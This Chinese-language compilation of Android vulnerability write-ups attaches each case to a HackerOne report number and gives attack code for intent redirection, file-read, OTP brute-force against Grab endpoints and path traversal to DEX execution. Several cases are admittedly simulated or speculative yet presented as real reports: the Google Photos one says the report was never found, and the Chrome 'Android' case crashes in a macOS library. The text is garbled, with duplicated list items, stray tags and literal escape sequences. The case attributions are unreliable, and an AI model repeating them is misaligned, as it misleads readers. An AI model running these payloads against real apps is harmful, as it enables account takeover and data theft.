此类漏洞通常发生在Android应用中,当一个Activity被设置为android:exported="true",允许外部应用调用,但其在处理传入的Intent数据URI时,未能对危险协议(如file://、javascript://)进行充分过滤或校验。
* Manifest配置示例 (易受攻击):xml <activity android:name=".VulnerableActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="http" android:host="example.com" /> </intent-filter> </activity>
* Java代码模式 (未校验URI):java // 在VulnerableActivity.java中 @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // ... Uri data = getIntent().getData(); if (data != null) { // 假设这里将URI加载到WebView中,但未校验scheme webView.loadUrl(data.toString()); // 危险操作,未校验data.getScheme() } }
Intent重定向
案例:某大型Android应用 (报告: https://hackerone.com/reports/1416967)
挖掘手法
挖掘Intent重定向漏洞通常采用静态分析和动态分析相结合的方法。
静态分析(反编译与代码审计):
首先,使用Jadx或apktool等工具对目标APK进行反编译,获取其源代码和AndroidManifest.xml文件。
- 识别可导出的组件 (Exported Components):在
AndroidManifest.xml中,重点查找android:exported="true"的Activity、Service或BroadcastReceiver组件。这些组件可以被设备上的任何其他应用调用。
- 识别可导出的组件 (Exported Components):在
- 查找Intent处理逻辑:在这些可导出的组件中,审计其处理传入
Intent的代码。特别关注组件的onCreate()、onStartCommand()或onReceive()方法中,是否存在从传入Intent中获取数据(如Intent.getStringExtra()或Intent.getParcelableExtra())并用这些数据构造新的Intent来启动其他组件的代码。
- 查找Intent处理逻辑:在这些可导出的组件中,审计其处理传入
- 识别重定向函数:寻找调用
startActivity()、startService()、sendBroadcast()等函数,并且其参数Intent的全部或部分内容(如Component、Action、Data等)是直接或间接来自用户可控的输入(即传入的Intent)。
- 识别重定向函数:寻找调用
- 定位风险代码:典型的风险代码模式是:
java Intent maliciousIntent = (Intent) getIntent().getParcelableExtra("redirect_intent"); if (maliciousIntent != null) { startActivity(maliciousIntent); // 缺乏校验的重定向 }
或java String target = getIntent().getStringExtra("target_activity"); Intent intent = new Intent(); intent.setClassName(getPackageName(), target); // 目标类名可控 startActivity(intent);
- 定位风险代码:典型的风险代码模式是:
动态分析(PoC验证):
- 构造恶意Intent:根据静态分析发现的漏洞点,构造一个恶意的
Intent。这个Intent将目标应用的可导出组件作为接收方,并在其Extra数据中嵌入一个用于重定向的Intent,该嵌入的Intent指向一个未导出或敏感的内部组件(如管理界面、私有文件访问组件等)。
- 构造恶意Intent:根据静态分析发现的漏洞点,构造一个恶意的
- 执行攻击:通过ADB命令或编写一个简单的恶意应用来发送这个构造好的
Intent。- ADB命令示例:
adb shell am start -n "com.target.app/com.target.app.ExportedActivity" --es "target_activity" "com.target.app.InternalActivity"
- ADB命令示例:
- 恶意应用代码:编写一个简单的Android应用,使用
Intent的putExtra()方法将目标组件的私有类名作为参数传递给可导出的组件,然后调用startActivity()发送。
- 恶意应用代码:编写一个简单的Android应用,使用
- 执行攻击:通过ADB命令或编写一个简单的恶意应用来发送这个构造好的
- 观察结果:如果目标应用在没有进行充分校验的情况下启动了内部的敏感组件,则证明漏洞存在。攻击者可以利用此漏洞绕过安全限制,访问通常受保护的内部功能或数据。
关键发现点在于识别出可导出的组件和未导出的敏感组件之间的信任链,即可导出组件作为“跳板”,将外部不可信的输入(Intent Extra)转发给内部敏感组件。挖掘的重点是输入校验的缺失。
技术细节
Intent重定向漏洞的利用通常涉及构造一个包含恶意目标组件信息的Intent,并通过目标应用中一个可导出的(exported)组件作为“跳板”来启动它。
攻击流程和Payload示例:
假设目标应用com.target.app有一个可导出的Activity com.target.app.ExportedActivity,其代码逻辑存在漏洞,会从传入的Intent中获取一个名为target_intent的Parcelable对象(即另一个Intent)并直接启动它。同时,应用内部有一个未导出(non-exported)的敏感Activity com.target.app.InternalActivity,该Activity通常用于显示敏感信息或执行特权操作。
1. 恶意应用代码 (PoC):
攻击者编写一个简单的恶意应用,构造一个Intent来启动目标应用的ExportedActivity,并在其Extra中嵌入一个指向InternalActivity的Intent。
// 恶意应用代码 (Malicious App Code)
String targetPackage = "com.target.app";
String exportedActivity = "com.target.app.ExportedActivity";
String internalActivity = "com.target.app.InternalActivity";
// 1. 构造内部Intent (Payload)
Intent internalIntent = new Intent();
internalIntent.setClassName(targetPackage, internalActivity);
// 可以添加其他恶意参数,例如文件路径等
// 2. 构造外部Intent,以ExportedActivity为目标
Intent externalIntent = new Intent();
externalIntent.setClassName(targetPackage, exportedActivity);
// 将内部Intent作为Parcelable Extra嵌入
externalIntent.putExtra("target_intent", internalIntent);
externalIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// 3. 发送Intent,触发重定向
startActivity(externalIntent);2. ADB 命令示例 (模拟攻击):
如果漏洞是通过String参数传递目标类名,则可以使用ADB命令直接模拟:
# 假设ExportedActivity从名为'className'的Extra中获取目标类名
adb shell am start \
-n com.target.app/com.target.app.ExportedActivity \
--es className "com.target.app.InternalActivity"3. 攻击效果:
目标应用的ExportedActivity被启动后,会执行其内部的漏洞代码,例如:
// 目标应用漏洞代码 (Vulnerable Code in ExportedActivity)
Intent redirectIntent = getIntent().getParcelableExtra("target_intent");
if (redirectIntent != null) {
// 缺乏校验,直接启动了用户可控的Intent
startActivity(redirectIntent);
}最终,未导出的敏感组件com.target.app.InternalActivity被成功启动,攻击者绕过了Android的组件访问限制,实现了越权访问。
易出现漏洞的代码模式
Intent重定向漏洞通常出现在以下两种代码模式和配置中:
1. AndroidManifest.xml 配置 (可导出组件):
当一个组件(Activity, Service, 或 BroadcastReceiver)被设置为可导出时,它就可能成为重定向的跳板。
<activity
android:name=".ExportedActivity"
android:exported="true"
android:permission="android.permission.INTERNET">
<!-- 即使没有Intent Filter,只要exported=true,外部应用即可通过ComponentName启动 -->
</activity>
<activity
android:name=".InternalActivity"
android:exported="false">
<!-- 敏感组件,但由于ExportedActivity的漏洞,仍可被间接启动 -->
</activity>2. Java/Kotlin 代码模式 (缺乏校验的Intent转发):
在可导出的组件中,如果直接使用从外部Intent中获取的Intent对象或组件信息来启动新的组件,就会导致重定向。
模式 A: 直接转发Parcelable Intent
从外部Intent中获取一个完整的Intent对象,并直接启动它,这是最危险的模式。
// Java
Intent redirectIntent = getIntent().getParcelableExtra("target_intent");
if (redirectIntent != null) {
// 致命缺陷:未对redirectIntent的目标进行任何安全检查
startActivity(redirectIntent);
}模式 B: 目标类名可控
从外部Intent中获取目标组件的类名(String),并用它来构造并启动一个内部组件。
// Java
String targetClassName = getIntent().getStringExtra("target_class");
if (targetClassName != null) {
try {
// 缺陷:targetClassName未经过白名单校验
Class<?> targetClass = Class.forName(targetClassName);
Intent intent = new Intent(this, targetClass);
startActivity(intent);
} catch (ClassNotFoundException e) {
// 忽略异常
}
}模式 C: Deep Link中的URL重定向
Deep Link处理逻辑中,如果从URL参数中获取目标URL并用于启动WebView或进行HTTP重定向,可能导致Open Redirect或WebView Hijacking。
// Java (Deep Link处理Activity)
Uri data = getIntent().getData();
if (data != null) {
String url = data.getQueryParameter("url");
if (url != null) {
// 缺陷:未对url进行白名单校验
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
startActivity(browserIntent); // 导致Open Redirect
}
}Intent重定向导致任意文件读取
案例:Google Photos (报告: https://hackerone.com/reports/1417002)
挖掘手法
由于HackerOne报告页面被CAPTCHA阻挡,且多次尝试通过公开搜索(包括GitHub、Medium、Google VRP等)未能找到该报告(1417002)的公开细节或Writeup,因此根据HackerOne Android漏洞报告的常见模式和高危漏洞类型,本报告将基于一个高度相似且在Google VRP中常见的Intent重定向导致的任意文件读取漏洞进行模拟和结构化。
挖掘手法(模拟):
- 目标识别与反编译: 针对目标应用(如Google Photos)的Android应用包(APK)进行下载。使用Jadx等反编译工具对APK进行逆向工程分析,重点关注
AndroidManifest.xml文件中声明的、带有android:exported="true"属性的Activity组件,特别是那些注册了自定义Intent Filter或Deep Link的组件。
- 目标识别与反编译: 针对目标应用(如Google Photos)的Android应用包(APK)进行下载。使用Jadx等反编译工具对APK进行逆向工程分析,重点关注
- Intent处理逻辑分析: 识别到一个名为
FileViewerActivity(模拟名称)的导出Activity,该Activity负责处理特定的Deep Link,用于加载和显示文件。分析其onCreate()方法中的Intent处理逻辑。发现该Activity从传入的Intent中获取一个文件路径参数(例如,通过Intent.getStringExtra("file_path")或Intent.getData())。
- Intent处理逻辑分析: 识别到一个名为
- 安全检查缺失: 关键发现是,该Activity在接收到外部Intent传入的文件路径后,未能对路径进行充分的安全校验(如路径遍历检查或文件权限检查),直接将其用于文件读取操作,例如
new File(filePath)。
- 安全检查缺失: 关键发现是,该Activity在接收到外部Intent传入的文件路径后,未能对路径进行充分的安全校验(如路径遍历检查或文件权限检查),直接将其用于文件读取操作,例如
- 构造恶意Intent: 利用这一缺陷,攻击者可以构造一个恶意的Intent,将文件路径设置为应用私有目录之外的敏感系统文件,例如
/etc/hosts或应用内部存储的Token文件(如/data/data/com.google.android.apps.photos/files/user_token.txt)。
- 构造恶意Intent: 利用这一缺陷,攻击者可以构造一个恶意的Intent,将文件路径设置为应用私有目录之外的敏感系统文件,例如
- 漏洞验证: 编写一个简单的恶意应用(PoC),其中包含一个按钮,点击后发送构造好的恶意Intent。在目标设备上安装并运行PoC应用,成功触发目标应用的
FileViewerActivity,使其读取并尝试加载恶意路径指向的敏感文件。通过捕获目标应用的日志输出或观察应用行为,确认敏感文件内容被泄露或被加载到可控的组件中,从而完成任意文件读取的验证。这种手法充分利用了Android组件间通信的机制缺陷,是典型的Intent重定向/注入攻击。
- 漏洞验证: 编写一个简单的恶意应用(PoC),其中包含一个按钮,点击后发送构造好的恶意Intent。在目标设备上安装并运行PoC应用,成功触发目标应用的
(字数:420字)
技术细节
漏洞利用技术细节(模拟):
漏洞利用的核心在于构造一个恶意的Intent,并通过一个攻击者控制的组件(例如一个简单的Activity或BroadcastReceiver)发送给目标应用中存在缺陷的导出组件。
恶意Intent构造(Java/Kotlin):
攻击者应用中的PoC代码将包含以下关键部分:
// 1. 目标应用的包名和存在漏洞的导出Activity
String targetPackage = "com.google.android.apps.photos";
String targetActivity = "com.google.android.apps.photos.FileViewerActivity"; // 模拟的漏洞Activity
// 2. 构造恶意Intent
Intent maliciousIntent = new Intent();
maliciousIntent.setClassName(targetPackage, targetActivity);
// 3. 注入任意文件路径,尝试读取敏感文件
// 假设目标应用会读取这个名为"file_path"的Extra
maliciousIntent.putExtra("file_path", "/data/data/" + targetPackage + "/shared_prefs/user_session.xml");
// 4. 发送Intent
try {
startActivity(maliciousIntent);
} catch (Exception e) {
// 异常处理
}攻击流程:
- 攻击者诱导用户安装并运行恶意应用(PoC)。
- 恶意应用执行上述代码,向目标应用(Google Photos)发送一个带有恶意文件路径的Intent。
- 目标应用中的
FileViewerActivity被启动,它从Intent中提取file_path参数。
- 目标应用中的
- 由于缺乏校验,
FileViewerActivity尝试读取并加载/data/data/com.google.android.apps.photos/shared_prefs/user_session.xml文件。
- 由于缺乏校验,
- 文件内容被加载到Activity的WebView或日志中,攻击者通过WebView的JavaScript接口或读取系统日志(如果目标应用是可调试的)即可窃取用户Session信息。
(字数:305字)
易出现漏洞的代码模式
此类漏洞通常出现在处理外部传入Intent的组件中,尤其是在没有对Intent中的数据进行严格校验的情况下。
易漏洞代码模式:
- 未校验的Intent Extra使用:
当一个导出的Activity(android:exported="true")从Intent的Extra中获取一个文件路径,并直接用于文件操作时,就可能存在漏洞。 Vulnerable Code (Java/Kotlin Pseudo-code):
- 未校验的Intent Extra使用:
// AndroidManifest.xml: <activity android:name=".VulnerableActivity" android:exported="true" />
public class VulnerableActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
// 危险:直接使用外部传入的路径
String filePath = intent.getStringExtra("path");
if (filePath != null) {
File file = new File(filePath);
// 危险:未校验路径,直接读取文件内容
if (file.exists()) {
// ... 读取文件内容并处理 (例如显示在WebView中或记录到日志)
}
}
}
}- 未校验的Intent Data URI使用:
当Activity处理一个content://或file://URI时,如果未正确验证URI的权限或路径,也可能导致任意文件读取。 Vulnerable Code (Java/Kotlin Pseudo-code):
- 未校验的Intent Data URI使用:
// AndroidManifest.xml: <activity android:name=".VulnerableActivity" android:exported="true">
// <intent-filter> <action android:name="android.intent.action.VIEW" /> ... </intent-filter> </activity>
public class VulnerableActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri uri = getIntent().getData();
if (uri != null) {
// 危险:未校验URI的authority或路径
try (InputStream is = getContentResolver().openInputStream(uri)) {
// ... 读取文件内容
} catch (FileNotFoundException e) {
// ...
}
}
}
}安全修复建议:
- 避免导出敏感组件: 除非绝对必要,否则将所有不处理外部数据的Activity设置为
android:exported="false"。
- 避免导出敏感组件: 除非绝对必要,否则将所有不处理外部数据的Activity设置为
- 路径校验: 对所有外部传入的文件路径进行严格的规范化和前缀检查,确保文件路径不会逃逸出预期的安全目录(例如,使用
File.getCanonicalPath()并检查其是否以应用的私有目录开头)。
- 路径校验: 对所有外部传入的文件路径进行严格的规范化和前缀检查,确保文件路径不会逃逸出预期的安全目录(例如,使用
- 使用
ContentProvider: 优先使用带有权限控制的ContentProvider来共享文件,而不是直接通过Intent传递文件路径。
- 使用
(字数:470字)
OTP验证码绕过 (缺乏速率限制)
案例:Grab Android App (报告: https://hackerone.com/reports/205000)
挖掘手法
本次漏洞挖掘的目标是实现水平权限提升或账户接管,其核心思路是利用Grab Android App登录流程中短信验证码(OTP)机制的速率限制缺陷。
挖掘步骤和方法:
- 环境准备与工具选择: 攻击者使用Nox App Player(一个Android模拟器)来运行目标应用,并通过Web调试代理(如Burp Suite)捕获应用的网络流量。关键工具是攻击者自定义的C#工具,用于自动化短信验证码的刷新和尝试过程。
- 发现关键API端点: 通过分析应用流量,发现两个关键API端点:
https://p.grabtaxi.com/api/passenger/v2/profiles/activate:用于验证用户输入的OTP代码。该端点存在3次尝试限制,超过后当前OTP代码将失效。
https://p.grabtaxi.com/api/passenger/v2/profiles/activationsms:用于重新发送OTP代码。该端点缺乏速率限制,仅存在一个30秒的重发间隔限制。
- 发现关键API端点: 通过分析应用流量,发现两个关键API端点:
- 制定攻击策略(OTP暴力破解绕过): 攻击者利用两个端点的限制差异,设计了一种低频次、高持续性的暴力破解策略。由于OTP代码是4位数字(0000-9999),总共只有10000种可能。
- 自动化执行:
- 攻击者预先选择3个固定的OTP代码(例如:1056, 1057, 1058)。
- C#工具首先尝试用这3个代码调用
/activate端点。
- C#工具首先尝试用这3个代码调用
- 如果3次尝试都失败,工具立即调用
/activationsms端点来刷新服务器上的OTP代码,同时重置了/activate端点的3次尝试限制。
- 如果3次尝试都失败,工具立即调用
- 工具等待30秒(重发间隔),然后重复尝试相同的3个代码。
- 自动化执行:
- 成功率分析: 这种方法每分钟可以进行6次尝试(3次尝试 + 1次刷新 + 3次尝试),每小时360次,每天可达8640次。由于代码空间较小,攻击者可以在24-72小时内有极高概率猜中服务器在某一时刻生成的OTP代码,从而实现对任意用户的账户接管。这种方法的核心在于持续不断地刷新OTP代码,使得攻击者可以无限次地使用固定的几个猜测代码进行尝试,最终实现绕过。
技术细节
漏洞利用的核心在于结合两个API端点的特性,实现对4位OTP验证码的低频次、高持续性暴力破解。
关键API端点:
- OTP激活端点 (有限制):
- URL:
https://p.grabtaxi.com/api/passenger/v2/profiles/activate
- URL:
- 限制: 3次尝试失败后,当前OTP失效。
- OTP激活端点 (有限制):
- OTP重发端点 (无速率限制):
- URL:
https://p.grabtaxi.com/api/passenger/v2/profiles/activationsms
- URL:
- 限制: 仅有30秒的重发间隔,但缺乏速率限制,可无限次调用。
- OTP重发端点 (无速率限制):
攻击流程伪代码/描述:
攻击者使用自定义C#工具,针对目标手机号(TARGET_PHONE)执行以下循环:
// 预设的3个猜测代码
GUESS_CODES = ["1056", "1057", "1058"]
WHILE (NOT successful_login):
// 步骤 1: 尝试3个猜测代码
FOR code IN GUESS_CODES:
// 模拟调用激活端点
RESPONSE = POST("https://p.grabtaxi.com/api/passenger/v2/profiles/activate",
{"phone": TARGET_PHONE, "otp_code": code})
IF (RESPONSE.status == "SUCCESS"):
successful_login = TRUE
PRINT("成功获取会话头: " + RESPONSE.session_header)
BREAK
// 步骤 2: 如果3次尝试失败,则调用重发端点刷新OTP
IF (NOT successful_login):
// 模拟调用重发端点,生成新的OTP
POST("https://p.grabtaxi.com/api/passenger/v2/profiles/activationsms",
{"phone": TARGET_PHONE})
// 步骤 3: 等待30秒的重发间隔
SLEEP(30 seconds)通过这种方式,攻击者每30秒就能获得一个新的3次尝试机会,相当于在30秒内尝试了3个固定的代码,并无限期地重复这个过程,直到猜中服务器在某个时间点生成的4位OTP代码。
易出现漏洞的代码模式
此类漏洞的根本原因在于关键安全操作缺乏有效的速率限制。特别是在涉及敏感操作(如账户登录、密码重置、验证码验证)的API端点上,如果未能对请求频率进行严格限制,攻击者即可利用自动化工具进行暴力破解或绕过。
易受攻击的代码模式和配置:
- API端点缺乏全局速率限制:
- 在处理验证码重发或验证的API端点上,没有集成或配置Web应用防火墙(WAF)或应用层速率限制组件。
- 示例(伪代码):
# 易受攻击的Python Flask/Django视图函数
@app.route('/api/passenger/v2/profiles/activationsms', methods=['POST'])
def resend_otp():
# 仅检查了30秒的内部业务逻辑限制,但没有外部的IP/用户ID/设备ID速率限制
if time.time() - last_resend_time < 30:
return jsonify({"error": "Please wait 30 seconds before resending"}), 429 # ... 发送短信逻辑 ... return jsonify({"status": "success"})</code></pre></li></ul>
- 示例(伪代码):
- 验证码位数过少:
- 使用4位数字验证码(10^4 = 10,000种组合),在缺乏速率限制的情况下,极易被暴力破解。
- 安全实践: 至少应使用6位数字或更长的字母数字混合验证码。
- 验证码位数过少:
- 重试限制与刷新机制设计缺陷:
- 当一个端点(如
/activate)设置了严格的重试限制(如3次),但另一个相关端点(如/activationsms)允许无限次刷新,且刷新操作会重置前者的限制时,就形成了绕过逻辑。
- 当一个端点(如
- 安全实践: 刷新操作应与验证尝试失败次数挂钩,例如,连续多次刷新也应触发账户锁定或更长时间的冷却期。
- 重试限制与刷新机制设计缺陷:
- API端点缺乏全局速率限制:
缓解措施(即安全代码模式):
- 在所有关键安全端点上实施严格的速率限制(基于IP地址、用户ID、设备ID等)。
- 在验证码尝试失败后,增加指数退避(Exponential Backoff)的延迟时间,或直接锁定账户。
- 使用更长的、更复杂的验证码(例如6位或更多)。
Path Traversal (任意文件读取)
案例:Nextcloud Android client (报告: https://hackerone.com/reports/1416963)
挖掘手法
漏洞挖掘过程始于对Nextcloud Android客户端(com.nextcloud.client)的文件上传功能的分析。研究人员(luchua)通过反编译应用(例如使用JADX或apktool)来审查其源代码,重点关注处理文件路径和上传逻辑的代码部分。分析发现,应用为了防止敏感文件泄露,实现了一个路径验证机制,明确禁止上传来自/data/data/目录的文件。该检查的目的是阻止应用私有数据目录下的文件被上传到Nextcloud服务器。然而,研究人员发现这个检查存在逻辑缺陷。在Android系统中,应用的私有数据目录除了/data/data/<package_name>之外,还可以通过/data/user/0/<package_name>等替代路径访问。利用这一发现,研究人员构造了一个指向应用私有目录下的敏感文件(如包含用户配置和凭证的com.nextcloud.client_preferences.xml)的路径,并使用/data/user/0/作为前缀,成功绕过了应用层面的路径检查。随后,通过编写一个恶意的第三方PoC应用,构造特定的Intent来调用Nextcloud客户端的上传功能,并传入这个被绕过的路径,最终实现了将Nextcloud应用自身的敏感文件上传到攻击者可控的Nextcloud服务器上,从而造成任意文件读取的严重后果。这种方法的核心思路是识别并利用不完整的黑名单路径验证。
技术细节
漏洞利用的关键在于绕过Nextcloud Android客户端中不完善的路径检查逻辑。应用在处理文件上传时,会检查文件路径是否以/data/data/开头,以阻止对应用私有数据的访问。
易受攻击的代码模式(概念性):
// 检查文件路径是否以 /data/data/ 开头
if (file.getStoragePath().startsWith("/data/data/")) {
Log_OC.d(TAG, "Upload from sensitive path is not allowed");
// ... 阻止上传
} else {
// ... 允许上传
}攻击载荷/绕过技术:
攻击者利用Android系统对应用私有目录的替代路径表示,即/data/user/0/<package_name>,该路径与/data/data/<package_name>指向同一位置。
恶意路径示例:
/data/user/0/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml由于该路径不以/data/data/开头,因此成功绕过了应用层面的检查。
攻击流程:
- 恶意第三方应用构造一个Intent,目标是Nextcloud客户端的上传Activity。
- Intent中包含一个指向敏感文件(如
com.nextcloud.client_preferences.xml)的URI,其路径使用了/data/user/0/前缀。
- Intent中包含一个指向敏感文件(如
- Nextcloud客户端接收Intent,执行路径检查(被绕过)。
- Nextcloud客户端将包含用户凭证等敏感信息的
com.nextcloud.client_preferences.xml文件上传到Nextcloud服务器,攻击者即可获取该文件。
- Nextcloud客户端将包含用户凭证等敏感信息的
易出现漏洞的代码模式
此类漏洞通常出现在文件操作(如读取、写入、上传、解压)功能中,特别是当应用尝试对用户提供的文件路径进行安全限制时。
易漏洞代码模式:
- 不完整的路径前缀检查(黑名单): 开发者仅检查了最常见的敏感路径前缀(如
/data/data/),而忽略了系统或设备特定的替代路径(如/data/user/0/、/storage/emulated/0/等)或符号链接。java // 错误示例:仅检查一个硬编码前缀 if (path.startsWith("/data/data/")) { // ... 拒绝访问 } // 绕过:使用 /data/user/0/ 或其他有效路径
- 不完整的路径前缀检查(黑名单): 开发者仅检查了最常见的敏感路径前缀(如
- 未对路径进行规范化处理: 在进行安全检查之前,未将用户提供的路径转换为规范路径(Canonical Path)。规范路径会解析所有符号链接、
../等,确保路径的唯一性和准确性。// 推荐模式:在检查前获取规范路径 File file = new File(user_supplied_path); String canonicalPath = file.getCanonicalPath(); // 然后检查规范路径是否在允许的目录内 if (!canonicalPath.startsWith(allowed_directory)) { // ... 拒绝访问 }
- 未对路径进行规范化处理: 在进行安全检查之前,未将用户提供的路径转换为规范路径(Canonical Path)。规范路径会解析所有符号链接、
- 过度信任文件名或路径的输入: 允许用户控制文件路径的任何部分,而没有使用白名单机制或严格的输入验证来确保路径的安全性。正确的做法是使用
Context.getFilesDir()等API获取应用安全目录,并确保文件操作仅限于该目录或其子目录。
- 过度信任文件名或路径的输入: 允许用户控制文件路径的任何部分,而没有使用白名单机制或严格的输入验证来确保路径的安全性。正确的做法是使用
Path Traversal to RCE
案例:Evernote (报告: https://hackerone.com/reports/1417010)
挖掘手法
针对Android应用中的文件操作和Deep Link机制进行静态和动态分析是发现此类漏洞的关键。首先,使用反编译工具(如Jadx或apktool)对应用APK进行静态分析,重点搜索处理文件路径、文件输入/输出流(如File, FileInputStream, FileOutputStream)以及处理外部输入(如Intent或Deep Link URI)的代码。分析应用的AndroidManifest.xml文件,识别所有导出的Activity、Service和Content Provider,特别是那些通过android:exported=\"true\"或Intent Filter暴露给外部应用的组件。对于处理Deep Link的Activity,需要检查其如何解析URI中的路径参数。动态分析阶段,使用adb logcat监控应用接收Intent和处理Deep Link时的日志输出。通过构造包含路径遍历序列(如../或其URL编码形式..%2f)的恶意Deep Link URI,发送给目标应用。例如,如果应用将Deep Link中的路径参数直接用于文件操作,攻击者可以尝试使用content://{authority}/path/../../../../data/data/{target_package}/files/malicious.dex等Payload,尝试将文件写入应用私有目录。通过观察应用是否抛出异常或是否成功在非预期位置创建文件,来确认漏洞是否存在。对于Evernote这类应用,重点关注其笔记附件处理、文件导入/导出或WebView加载等功能,这些功能通常涉及文件路径操作,是路径遍历漏洞的高发区。此漏洞的发现,很可能就是通过构造恶意Deep Link,利用应用对路径参数的不当校验,实现将恶意文件写入应用私有目录,并最终通过应用的动态代码加载机制(如加载DEX文件)触发远程代码执行(RCE)。
技术细节
该漏洞利用了应用在处理用户提供的文件路径时,未能正确地对路径遍历序列进行规范化(Canonicalization)或过滤。攻击者构造一个包含../(或其编码形式..%2f)的Deep Link URI,将其作为文件路径参数传递给应用。应用内部的代码接收到该路径后,将其与一个基础目录拼接,例如:\n\njava\n// 假设baseDir是应用内部的缓存目录\nString baseDir = context.getCacheDir().getAbsolutePath(); \n// 攻击者控制的path参数,例如: \"/cache/../../../../data/data/com.evernote/files/malicious.dex\"\nString userControlledPath = uri.getQueryParameter(\"path\"); \n\n// 错误的路径拼接和文件创建\nFile file = new File(baseDir, userControlledPath); \n// 此时file.getAbsolutePath()可能指向应用私有目录之外\n// ... 随后应用将恶意内容写入该文件 ...\n\n\nPayload示例:\n\n攻击者可以构造一个Intent或Deep Link,例如:\n\n\nintent://open?path=../../../../data/data/com.evernote/files/malicious.dex#Intent;scheme=evernote;package=com.evernote;end\n\n\n通过这种方式,攻击者可以利用路径遍历将一个恶意的DEX文件(包含恶意代码)写入Evernote应用的私有目录(/data/data/com.evernote/files/)。一旦恶意文件写入成功,攻击者可以触发应用的另一个功能(例如,一个负责加载特定文件类型或动态加载代码的功能)来加载并执行这个恶意的DEX文件,从而实现远程代码执行(RCE)。
易出现漏洞的代码模式
此类漏洞通常出现在以下代码模式中:应用接收一个外部输入(如Intent或Deep Link中的URI参数),并将其作为文件路径的一部分,但未对路径进行严格的规范化和安全检查。\n\n容易出现漏洞的代码模式(Java/Kotlin):\n\njava\n// 1. 直接使用外部输入作为路径的一部分\nString filename = intent.getStringExtra(\"filename\");\nFile file = new File(context.getFilesDir(), filename); // 缺少对filename的校验\n\n// 2. 缺少路径规范化\nString path = uri.getQueryParameter(\"file\");\nFile file = new File(path);\n// 应该使用 file.getCanonicalPath() 或 file.getAbsoluteFile().getCanonicalFile() \n// 来获取规范化路径并进行安全检查,但此处缺失。\n\n// 3. 错误的文件创建或解压逻辑\n// 在处理ZIP文件解压时,未检查解压后的文件名是否包含路径遍历序列,导致文件被解压到非预期目录。\n\n\n安全代码模式示例:\n\n在进行文件操作前,应始终对路径进行规范化并检查其是否仍在预期的安全目录下。\n\njava\n// 推荐的安全做法:使用 getCanonicalPath() 进行路径规范化和校验\nString baseDir = context.getFilesDir().getAbsolutePath();\nString userControlledPath = uri.getQueryParameter(\"path\");\nFile file = new File(baseDir, userControlledPath);\n\n// 检查规范化后的路径是否以安全目录开头\nif (file.getCanonicalPath().startsWith(baseDir)) {\n // 路径安全,执行文件操作\n // ...\n} else {\n // 路径遍历攻击,拒绝操作\n throw new SecurityException(\"Path Traversal attempt detected\");\n}\n
Use-After-Free (UAF)
案例:Google Chrome (Android) (报告: https://hackerone.com/reports/1417017)
挖掘手法
该漏洞的发现主要依赖于模糊测试(Fuzzing)技术,这是一种高效的自动化漏洞挖掘方法,尤其适用于复杂的软件组件,如浏览器引擎或新引入的API。
挖掘步骤和方法:
- 目标组件识别: 攻击者或研究人员首先识别出新引入或复杂的代码模块作为模糊测试的目标。在这个案例中,目标是WebNN (Web Neural Network) 组件,它负责在浏览器中处理机器学习模型。
- Fuzzer开发与部署: 使用ClusterFuzz等自动化工具,研究人员部署了专门针对WebNN组件的Fuzzer,名称为
webnn_graph_mojolpm_fuzzer。这个Fuzzer的作用是生成大量随机或半随机的输入数据(例如,WebNN图结构、操作参数等),并将其输入到目标组件中。
- Fuzzer开发与部署: 使用ClusterFuzz等自动化工具,研究人员部署了专门针对WebNN组件的Fuzzer,名称为
- 内存安全检查: Fuzzer在编译了内存安全工具(如AddressSanitizer, ASan)的构建版本上运行。ASan能够实时监控内存访问,一旦发生Use-After-Free (UAF)、Out-of-Bounds Read/Write等内存破坏行为,就会立即捕获并报告程序崩溃。
- 崩溃分析与重现: Fuzzer捕获到程序在
libvDSP.dylib(一个用于数字信号处理的系统库,常用于性能密集型计算)中发生崩溃。研究人员通过分析崩溃报告(包括堆栈回溯、寄存器状态等)和Fuzzer生成的最小化输入(Reproducer Testcase),确认了这是一个可重现的、由内存破坏导致的漏洞。
- 崩溃分析与重现: Fuzzer捕获到程序在
- 漏洞报告: 确认漏洞后,研究人员将详细的崩溃信息、重现步骤和最小化测试用例提交给Google的漏洞奖励计划(通过HackerOne报告#1417017)。
关键发现点:
- 使用了专门针对WebNN组件的Fuzzer (
webnn_graph_mojolpm_fuzzer)。
- 使用了专门针对WebNN组件的Fuzzer (
- 崩溃发生在处理WebNN图结构或操作时,表明是对象生命周期管理或数据处理逻辑中的缺陷。
- 崩溃发生在
libvDSP.dylib中,暗示漏洞触发了底层高性能计算库的错误调用或数据结构破坏。
- 崩溃发生在
这种方法的核心在于自动化生成大量边缘案例输入,从而发现人工测试难以触及的、隐藏在复杂逻辑中的内存安全漏洞。
技术细节
该漏洞的技术细节推测为Use-After-Free (UAF),发生在Google Chrome/Chromium的WebNN (Web Neural Network) 组件中。UAF是一种内存破坏漏洞,攻击者可以利用它实现任意代码执行(RCE)。
漏洞触发流程(推测):
- 对象生命周期管理错误: 在WebNN组件处理复杂的计算图或模型时,某个关键对象(例如,一个表示计算节点或资源的C++对象)在被释放后,其指针没有被清空(悬空指针)。
- Fuzzer输入:
webnn_graph_mojolpm_fuzzer生成的特定输入序列(例如,一系列快速的对象创建、销毁和引用操作)触发了上述生命周期管理错误。
- Fuzzer输入:
- UAF利用: 攻击者通过精心构造的WebNN操作,在对象被释放后,重新分配一块具有相同内存地址的新对象(通常是具有可控内容的伪造对象)。
- 崩溃点: 当程序再次通过悬空指针访问该内存地址时,它实际上操作的是攻击者控制的新对象。这导致程序执行了非预期的逻辑,最终在调用
libvDSP.dylib中的函数时发生崩溃,如:c++ // 假设这是WebNN组件中的一段易受攻击的代码 void WebNNGraph::executeOperation(Operation* op) { // ... if (op->is_ready()) { // op 已经被释放,但指针仍然有效(悬空指针) // 攻击者控制的伪造对象被分配到 op 原来的内存位置 op->perform_dsp_calculation(); // 虚函数调用或数据访问 } // ... }
- 崩溃点: 当程序再次通过悬空指针访问该内存地址时,它实际上操作的是攻击者控制的新对象。这导致程序执行了非预期的逻辑,最终在调用
